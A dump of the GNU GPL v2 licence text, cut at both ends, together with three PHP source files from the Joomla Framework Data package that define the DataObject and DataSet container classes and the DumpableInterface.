	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Data Package
 *
 * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Data;

use Joomla\Registry\Registry;

/**
 * DataObject is a class that is used to store data but allowing you to
access the data
 * by mimicking the way PHP handles class properties.
 *
 * @since  1.0
 */
class DataObject implements DumpableInterface, \IteratorAggregate,
\JsonSerializable, \Countable
{
	/**
	 * The data object properties.
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $properties = array();

	/**
	 * The class constructor.
	 *
	 * @param   mixed  $properties  Either an associative array or another
object
	 *                              by which to set the initial properties of
the new object.
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($properties = array())
	{
		// Check the properties input.
		if (!empty($properties))
		{
			// Bind the properties.
			$this->bind($properties);
		}
	}

	/**
	 * The magic get method is used to get a data property.
	 *
	 * This method is a public proxy for the protected getProperty method.
	 *
	 * Note: Magic __get does not allow recursive calls. This can be tricky
because the error generated by recursing into
	 * __get is "Undefined property:  {CLASS}::{PROPERTY}" which is
misleading. This is relevant for this class because
	 * requesting a non-visible property can trigger a call to a sub-function.
If that references the property directly in
	 * the object, it will cause a recursion into __get.
	 *
	 * @param   string  $property  The name of the data property.
	 *
	 * @return  mixed  The value of the data property, or null if the data
property does not exist.
	 *
	 * @see     DataObject::getProperty()
	 * @since   1.0
	 */
	public function __get($property)
	{
		return $this->getProperty($property);
	}

	/**
	 * The magic isset method is used to check the state of an object
property.
	 *
	 * @param   string  $property  The name of the data property.
	 *
	 * @return  boolean  True if set, otherwise false is returned.
	 *
	 * @since   1.0
	 */
	public function __isset($property)
	{
		return isset($this->properties[$property]);
	}

	/**
	 * The magic set method is used to set a data property.
	 *
	 * This is a public proxy for the protected setProperty method.
	 *
	 * @param   string  $property  The name of the data property.
	 * @param   mixed   $value     The value to give the data property.
	 *
	 * @return  void
	 *
	 * @see     DataObject::setProperty()
	 * @since   1.0
	 */
	public function __set($property, $value)
	{
		$this->setProperty($property, $value);
	}

	/**
	 * The magic unset method is used to unset a data property.
	 *
	 * @param   string  $property  The name of the data property.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function __unset($property)
	{
		unset($this->properties[$property]);
	}

	/**
	 * Binds an array or object to this object.
	 *
	 * @param   mixed    $properties   An associative array of properties or
an object.
	 * @param   boolean  $updateNulls  True to bind null values, false to
ignore null values.
	 *
	 * @return  DataObject  Returns itself to allow chaining.
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function bind($properties, $updateNulls = true)
	{
		// Check the properties data type.
		if (!is_array($properties) && !is_object($properties))
		{
			throw new \InvalidArgumentException(sprintf('%s(%s)',
__METHOD__, gettype($properties)));
		}

		// Check if the object is traversable.
		if ($properties instanceof \Traversable)
		{
			// Convert iterator to array.
			$properties = iterator_to_array($properties);
		}
		elseif (is_object($properties))
		// Check if the object needs to be converted to an array.
		{
			// Convert properties to an array.
			$properties = (array) $properties;
		}

		// Bind the properties.
		foreach ($properties as $property => $value)
		{
			// Check if the value is null and should be bound.
			if ($value === null && !$updateNulls)
			{
				continue;
			}

			// Set the property.
			$this->setProperty($property, $value);
		}

		return $this;
	}

	/**
	 * Dumps the data properties into a stdClass object, recursively if
appropriate.
	 *
	 * @param   integer            $depth   The maximum depth of recursion
(default = 3).
	 *                                      For example, a depth of 0 will
return a stdClass with all the properties in native
	 *                                      form. A depth of 1 will recurse
into the first level of properties only.
	 * @param   \SplObjectStorage  $dumped  An array of already serialized
objects that is used to avoid infinite loops.
	 *
	 * @return  \stdClass  The data properties as a simple PHP stdClass
object.
	 *
	 * @since   1.0
	 */
	public function dump($depth = 3, \SplObjectStorage $dumped = null)
	{
		// Check if we should initialise the recursion tracker.
		if ($dumped === null)
		{
			$dumped = new \SplObjectStorage;
		}

		// Add this object to the dumped stack.
		$dumped->attach($this);

		// Setup a container.
		$dump = new \stdClass;

		// Dump all object properties.
		foreach (array_keys($this->properties) as $property)
		{
			// Get the property.
			$dump->$property = $this->dumpProperty($property, $depth,
$dumped);
		}

		return $dump;
	}

	/**
	 * Gets this object represented as an ArrayIterator.
	 *
	 * This allows the data properties to be access via a foreach statement.
	 *
	 * @return  \ArrayIterator  This object represented as an ArrayIterator.
	 *
	 * @see     IteratorAggregate::getIterator()
	 * @since   1.0
	 */
	public function getIterator()
	{
		return new \ArrayIterator($this->dump(0));
	}

	/**
	 * Gets the data properties in a form that can be serialised to JSON
format.
	 *
	 * @return  string  An object that can be serialised by json_encode().
	 *
	 * @since   1.0
	 */
	public function jsonSerialize()
	{
		return $this->dump();
	}

	/**
	 * Dumps a data property.
	 *
	 * If recursion is set, this method will dump any object implementing
Data\Dumpable (like Data\Object and Data\Set); it will
	 * convert a Date object to a string; and it will convert a Registry to an
object.
	 *
	 * @param   string             $property  The name of the data property.
	 * @param   integer            $depth     The current depth of recursion
(a value of 0 will ignore recursion).
	 * @param   \SplObjectStorage  $dumped    An array of already serialized
objects that is used to avoid infinite loops.
	 *
	 * @return  mixed  The value of the dumped property.
	 *
	 * @since   1.0
	 */
	protected function dumpProperty($property, $depth, \SplObjectStorage
$dumped)
	{
		$value = $this->getProperty($property);

		if ($depth > 0)
		{
			// Check if the object is also an dumpable object.
			if ($value instanceof DumpableInterface)
			{
				// Do not dump the property if it has already been dumped.
				if (!$dumped->contains($value))
				{
					$value = $value->dump($depth - 1, $dumped);
				}
			}

			// Check if the object is a date.
			if ($value instanceof \DateTime)
			{
				$value = $value->format('Y-m-d H:i:s');
			}
			elseif ($value instanceof Registry)
			// Check if the object is a registry.
			{
				$value = $value->toObject();
			}
		}

		return $value;
	}

	/**
	 * Gets a data property.
	 *
	 * @param   string  $property  The name of the data property.
	 *
	 * @return  mixed  The value of the data property.
	 *
	 * @see     DataObject::__get()
	 * @since   1.0
	 */
	protected function getProperty($property)
	{
		// Get the raw value.
		$value = array_key_exists($property, $this->properties) ?
$this->properties[$property] : null;

		return $value;
	}

	/**
	 * Sets a data property.
	 *
	 * If the name of the property starts with a null byte, this method will
return null.
	 *
	 * @param   string  $property  The name of the data property.
	 * @param   mixed   $value     The value to give the data property.
	 *
	 * @return  mixed  The value of the data property.
	 *
	 * @see     DataObject::__set()
	 * @since   1.0
	 */
	protected function setProperty($property, $value)
	{
		/*
		 * Check if the property starts with a null byte. If so, discard it
because a later attempt to try to access it
		 * can cause a fatal error. See
http://us3.php.net/manual/en/language.types.array.php#language.types.array.casting
		 */
		if (strpos($property, "\0") === 0)
		{
			return null;
		}

		// Set the value.
		$this->properties[$property] = $value;

		return $value;
	}

	/**
	 * Count the number of data properties.
	 *
	 * @return  integer  The number of data properties.
	 *
	 * @since   1.0
	 */
	public function count()
	{
		return count($this->properties);
	}
}
<?php
/**
 * Part of the Joomla Framework Data Package
 *
 * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Data;

/**
 * DataSet is a collection class that allows the developer to operate on a
set of DataObject objects as if they were in a
 * typical PHP array.
 *
 * @since  1.0
 */
class DataSet implements DumpableInterface, \ArrayAccess, \Countable,
\Iterator
{
	/**
	 * The current position of the iterator.
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private $current = false;

	/**
	 * The iterator objects.
	 *
	 * @var    DataObject[]
	 * @since  1.0
	 */
	private $objects = array();

	/**
	 * The class constructor.
	 *
	 * @param   DataObject[]  $objects  An array of DataObject objects to bind
to the data set.
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException if an object is not an instance of
Data\Object.
	 */
	public function __construct(array $objects = array())
	{
		// Set the objects.
		$this->_initialise($objects);
	}

	/**
	 * The magic call method is used to call object methods using the
iterator.
	 *
	 * Example: $array = $objectList->foo('bar');
	 *
	 * The object list will iterate over its objects and see if each object
has a callable 'foo' method.
	 * If so, it will pass the argument list and assemble any return values.
If an object does not have
	 * a callable method no return value is recorded.
	 * The keys of the objects and the result array are maintained.
	 *
	 * @param   string  $method     The name of the method called.
	 * @param   array   $arguments  The arguments of the method called.
	 *
	 * @return  array   An array of values returned by the methods called on
the objects in the data set.
	 *
	 * @since   1.0
	 */
	public function __call($method, $arguments = array())
	{
		$return = array();

		// Iterate through the objects.
		foreach ($this->objects as $key => $object)
		{
			// Create the object callback.
			$callback = array($object, $method);

			// Check if the callback is callable.
			if (is_callable($callback))
			{
				// Call the method for the object.
				$return[$key] = call_user_func_array($callback, $arguments);
			}
		}

		return $return;
	}

	/**
	 * The magic get method is used to get a list of properties from the
objects in the data set.
	 *
	 * Example: $array = $dataSet->foo;
	 *
	 * This will return a column of the values of the 'foo' property
in all the objects
	 * (or values determined by custom property setters in the individual
Data\Object's).
	 * The result array will contain an entry for each object in the list
(compared to __call which may not).
	 * The keys of the objects and the result array are maintained.
	 *
	 * @param   string  $property  The name of the data property.
	 *
	 * @return  array  An associative array of the values.
	 *
	 * @since   1.0
	 */
	public function __get($property)
	{
		$return = array();

		// Iterate through the objects.
		foreach ($this->objects as $key => $object)
		{
			// Get the property.
			$return[$key] = $object->$property;
		}

		return $return;
	}

	/**
	 * The magic isset method is used to check the state of an object property
using the iterator.
	 *
	 * Example: $array = isset($objectList->foo);
	 *
	 * @param   string  $property  The name of the property.
	 *
	 * @return  boolean  True if the property is set in any of the objects in
the data set.
	 *
	 * @since   1.0
	 */
	public function __isset($property)
	{
		$return = array();

		// Iterate through the objects.
		foreach ($this->objects as $object)
		{
			// Check the property.
			$return[] = isset($object->$property);
		}

		return in_array(true, $return, true) ? true : false;
	}

	/**
	 * The magic set method is used to set an object property using the
iterator.
	 *
	 * Example: $objectList->foo = 'bar';
	 *
	 * This will set the 'foo' property to 'bar' in all of
the objects
	 * (or a value determined by custom property setters in the Data\Object).
	 *
	 * @param   string  $property  The name of the property.
	 * @param   mixed   $value     The value to give the data property.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function __set($property, $value)
	{
		// Iterate through the objects.
		foreach ($this->objects as $object)
		{
			// Set the property.
			$object->$property = $value;
		}
	}

	/**
	 * The magic unset method is used to unset an object property using the
iterator.
	 *
	 * Example: unset($objectList->foo);
	 *
	 * This will unset all of the 'foo' properties in the list of
Data\Object's.
	 *
	 * @param   string  $property  The name of the property.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function __unset($property)
	{
		// Iterate through the objects.
		foreach ($this->objects as $object)
		{
			unset($object->$property);
		}
	}

	/**
	 * Gets an array of keys, existing in objects
	 *
	 * @param   string  $type  Selection type 'all' or
'common'
	 *
	 * @return  array   Array of keys
	 *
	 * @since   1.2.0
	 * @throws  \InvalidArgumentException
	 */
	public function getObjectsKeys($type = 'all')
	{
		$keys = null;

		if ($type == 'all')
		{
			$function = 'array_merge';
		}
		elseif ($type == 'common')
		{
			$function = 'array_intersect_key';
		}
		else
		{
			throw new \InvalidArgumentException("Unknown selection type:
$type");
		}

		foreach ($this->objects as $object)
		{
			if (version_compare(PHP_VERSION, '5.4.0', '<'))
			{
				$object_vars = json_decode(json_encode($object->jsonSerialize()),
true);
			}
			else
			{
				$object_vars = json_decode(json_encode($object), true);
			}

			$keys = (is_null($keys)) ? $object_vars : $function($keys,
$object_vars);
		}

		return array_keys($keys);
	}

	/**
	 * Gets all objects as an array
	 *
	 * @param   boolean  $associative  Option to set return mode: associative
or numeric array.
	 * @param   string   $k            Unlimited optional property names to
extract from objects.
	 *
	 * @return  array    Returns an array according to defined options.
	 *
	 * @since   1.2.0
	 */
	public function toArray($associative = true, $k = null)
	{
		$keys        = func_get_args();
		$associative = array_shift($keys);

		if (empty($keys))
		{
			$keys = $this->getObjectsKeys();
		}

		$return = array();

		$i = 0;

		foreach ($this->objects as $key => $object)
		{
			$array_item = array();

			$key = ($associative) ? $key : $i++;

			$j = 0;

			foreach ($keys as $property)
			{
				$property_key              = ($associative) ? $property : $j++;
				$array_item[$property_key] = (isset($object->$property)) ?
$object->$property : null;
			}

			$return[$key] = $array_item;
		}

		return $return;
	}

	/**
	 * Gets the number of data objects in the set.
	 *
	 * @return  integer  The number of objects.
	 *
	 * @since   1.0
	 */
	public function count()
	{
		return count($this->objects);
	}

	/**
	 * Clears the objects in the data set.
	 *
	 * @return  DataSet  Returns itself to allow chaining.
	 *
	 * @since   1.0
	 */
	public function clear()
	{
		$this->objects = array();
		$this->rewind();

		return $this;
	}

	/**
	 * Get the current data object in the set.
	 *
	 * @return  DataObject  The current object, or false if the array is empty
or the pointer is beyond the end of the elements.
	 *
	 * @since   1.0
	 */
	public function current()
	{
		return is_scalar($this->current) ?
$this->objects[$this->current] : false;
	}

	/**
	 * Dumps the data object in the set, recursively if appropriate.
	 *
	 * @param   integer            $depth   The maximum depth of recursion
(default = 3).
	 *                                      For example, a depth of 0 will
return a stdClass with all the properties in native
	 *                                      form. A depth of 1 will recurse
into the first level of properties only.
	 * @param   \SplObjectStorage  $dumped  An array of already serialized
objects that is used to avoid infinite loops.
	 *
	 * @return  array  An associative array of the data objects in the set,
dumped as a simple PHP stdClass object.
	 *
	 * @see     DataObject::dump()
	 * @since   1.0
	 */
	public function dump($depth = 3, \SplObjectStorage $dumped = null)
	{
		// Check if we should initialise the recursion tracker.
		if ($dumped === null)
		{
			$dumped = new \SplObjectStorage;
		}

		// Add this object to the dumped stack.
		$dumped->attach($this);

		$objects = array();

		// Make sure that we have not reached our maximum depth.
		if ($depth > 0)
		{
			// Handle JSON serialization recursively.
			foreach ($this->objects as $key => $object)
			{
				$objects[$key] = $object->dump($depth, $dumped);
			}
		}

		return $objects;
	}

	/**
	 * Gets the data set in a form that can be serialised to JSON format.
	 *
	 * Note that this method will not return an associative array, otherwise
it would be encoded into an object.
	 * JSON decoders do not consistently maintain the order of associative
keys, whereas they do maintain the order of arrays.
	 *
	 * @param   mixed  $serialized  An array of objects that have already been
serialized that is used to infinite loops
	 *                              (null on first call).
	 *
	 * @return  array  An array that can be serialised by json_encode().
	 *
	 * @since   1.0
	 */
	public function jsonSerialize($serialized = null)
	{
		// Check if we should initialise the recursion tracker.
		if ($serialized === null)
		{
			$serialized = array();
		}

		// Add this object to the serialized stack.
		$serialized[] = spl_object_hash($this);
		$return = array();

		// Iterate through the objects.
		foreach ($this->objects as $object)
		{
			// Call the method for the object.
			$return[] = $object->jsonSerialize($serialized);
		}

		return $return;
	}

	/**
	 * Gets the key of the current object in the iterator.
	 *
	 * @return  scalar  The object key on success; null on failure.
	 *
	 * @since   1.0
	 */
	public function key()
	{
		return $this->current;
	}

	/**
	 * Gets the array of keys for all the objects in the iterator (emulates
array_keys).
	 *
	 * @return  array  The array of keys
	 *
	 * @since   1.0
	 */
	public function keys()
	{
		return array_keys($this->objects);
	}

	/**
	 * Applies a function to every object in the set (emulates array_walk).
	 * 
	 * @param   callable  $funcname  Callback function.  
	 * 
	 * @return  boolean
	 * 
	 * @since   1.2.0
	 * @throws  \InvalidArgumentException
	 */
	public function walk($funcname)
	{
		if (!is_callable($funcname))
		{
			$message = __METHOD__ . '() expects parameter 1 to be a valid
callback';

			if (is_string($funcname))
			{
				$message .= sprintf(', function \'%s\' not found or
invalid function name', $funcname);
			}

			throw new \InvalidArgumentException($message);
		}

		foreach ($this->objects as $key => $object)
		{
			$funcname($object, $key);
		}

		return true;
	}

	/**
	 * Advances the iterator to the next object in the iterator.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function next()
	{
		// Get the object offsets.
		$keys = $this->keys();

		// Check if _current has been set to false but offsetUnset.
		if ($this->current === false && isset($keys[0]))
		{
			// This is a special case where offsetUnset was used in a foreach loop
and the first element was unset.
			$this->current = $keys[0];
		}
		else
		{
			// Get the current key.
			$position = array_search($this->current, $keys);

			// Check if there is an object after the current object.
			if ($position !== false && isset($keys[$position + 1]))
			{
				// Get the next id.
				$this->current = $keys[$position + 1];
			}
			else
			{
				// That was the last object or the internal properties have become
corrupted.
				$this->current = null;
			}
		}
	}

	/**
	 * Checks whether an offset exists in the iterator.
	 *
	 * @param   mixed  $offset  The object offset.
	 *
	 * @return  boolean  True if the object exists, false otherwise.
	 *
	 * @since   1.0
	 */
	public function offsetExists($offset)
	{
		return isset($this->objects[$offset]);
	}

	/**
	 * Gets an offset in the iterator.
	 *
	 * @param   mixed  $offset  The object offset.
	 *
	 * @return  DataObject  The object if it exists, null otherwise.
	 *
	 * @since   1.0
	 */
	public function offsetGet($offset)
	{
		return isset($this->objects[$offset]) ? $this->objects[$offset] :
null;
	}

	/**
	 * Sets an offset in the iterator.
	 *
	 * @param   mixed       $offset  The object offset.
	 * @param   DataObject  $object  The object object.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException if an object is not an instance of
Data\Object.
	 */
	public function offsetSet($offset, $object)
	{
		if (!($object instanceof DataObject))
		{
			throw new \InvalidArgumentException(sprintf('%s("%s",
*%s*)', __METHOD__, $offset, gettype($object)));
		}

		// Set the offset.
		$this->objects[$offset] = $object;
	}

	/**
	 * Unsets an offset in the iterator.
	 *
	 * @param   mixed  $offset  The object offset.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function offsetUnset($offset)
	{
		if (!$this->offsetExists($offset))
		{
			// Do nothing if the offset does not exist.
			return;
		}

		// Check for special handling of unsetting the current position.
		if ($offset == $this->current)
		{
			// Get the current position.
			$keys = $this->keys();
			$position = array_search($this->current, $keys);

			// Check if there is an object before the current object.
			if ($position > 0)
			{
				// Move the current position back one.
				$this->current = $keys[$position - 1];
			}
			else
			{
				// We are at the start of the keys AND let's assume we are in a
foreach loop and `next` is going to be called.
				$this->current = false;
			}
		}

		unset($this->objects[$offset]);
	}

	/**
	 * Rewinds the iterator to the first object.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function rewind()
	{
		// Set the current position to the first object.
		if (empty($this->objects))
		{
			$this->current = false;
		}
		else
		{
			$keys = $this->keys();
			$this->current = array_shift($keys);
		}
	}

	/**
	 * Validates the iterator.
	 *
	 * @return  boolean  True if valid, false otherwise.
	 *
	 * @since   1.0
	 */
	public function valid()
	{
		// Check the current position.
		if (!is_scalar($this->current) ||
!isset($this->objects[$this->current]))
		{
			return false;
		}

		return true;
	}

	/**
	 * Initialises the list with an array of objects.
	 *
	 * @param   array  $input  An array of objects.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException if an object is not an instance of
Data\DataObject.
	 */
	private function _initialise(array $input = array())
	{
		foreach ($input as $key => $object)
		{
			if (!is_null($object))
			{
				$this->offsetSet($key, $object);
			}
		}

		$this->rewind();
	}
}
<?php
/**
 * Part of the Joomla Framework Data Package
 *
 * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Data;

/**
 * An interface to define if an object is dumpable.
 *
 * @since  1.0
 */
interface DumpableInterface
{
	/**
	 * Dumps the object properties into a stdClass object, recursively if
appropriate.
	 *
	 * @param   integer            $depth   The maximum depth of recursion.
	 *                                      For example, a depth of 0 will
return a stdClass with all the properties in native
	 *                                      form. A depth of 1 will recurse
into the first level of properties only.
	 * @param   \SplObjectStorage  $dumped  An array of already serialized
objects that is used to avoid infinite loops.
	 *
	 * @return  \stdClass  The data properties as a simple PHP stdClass
object.
	 *
	 * @since   1.0
	 */
	public function dump($depth = 3, \SplObjectStorage $dumped = null);
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
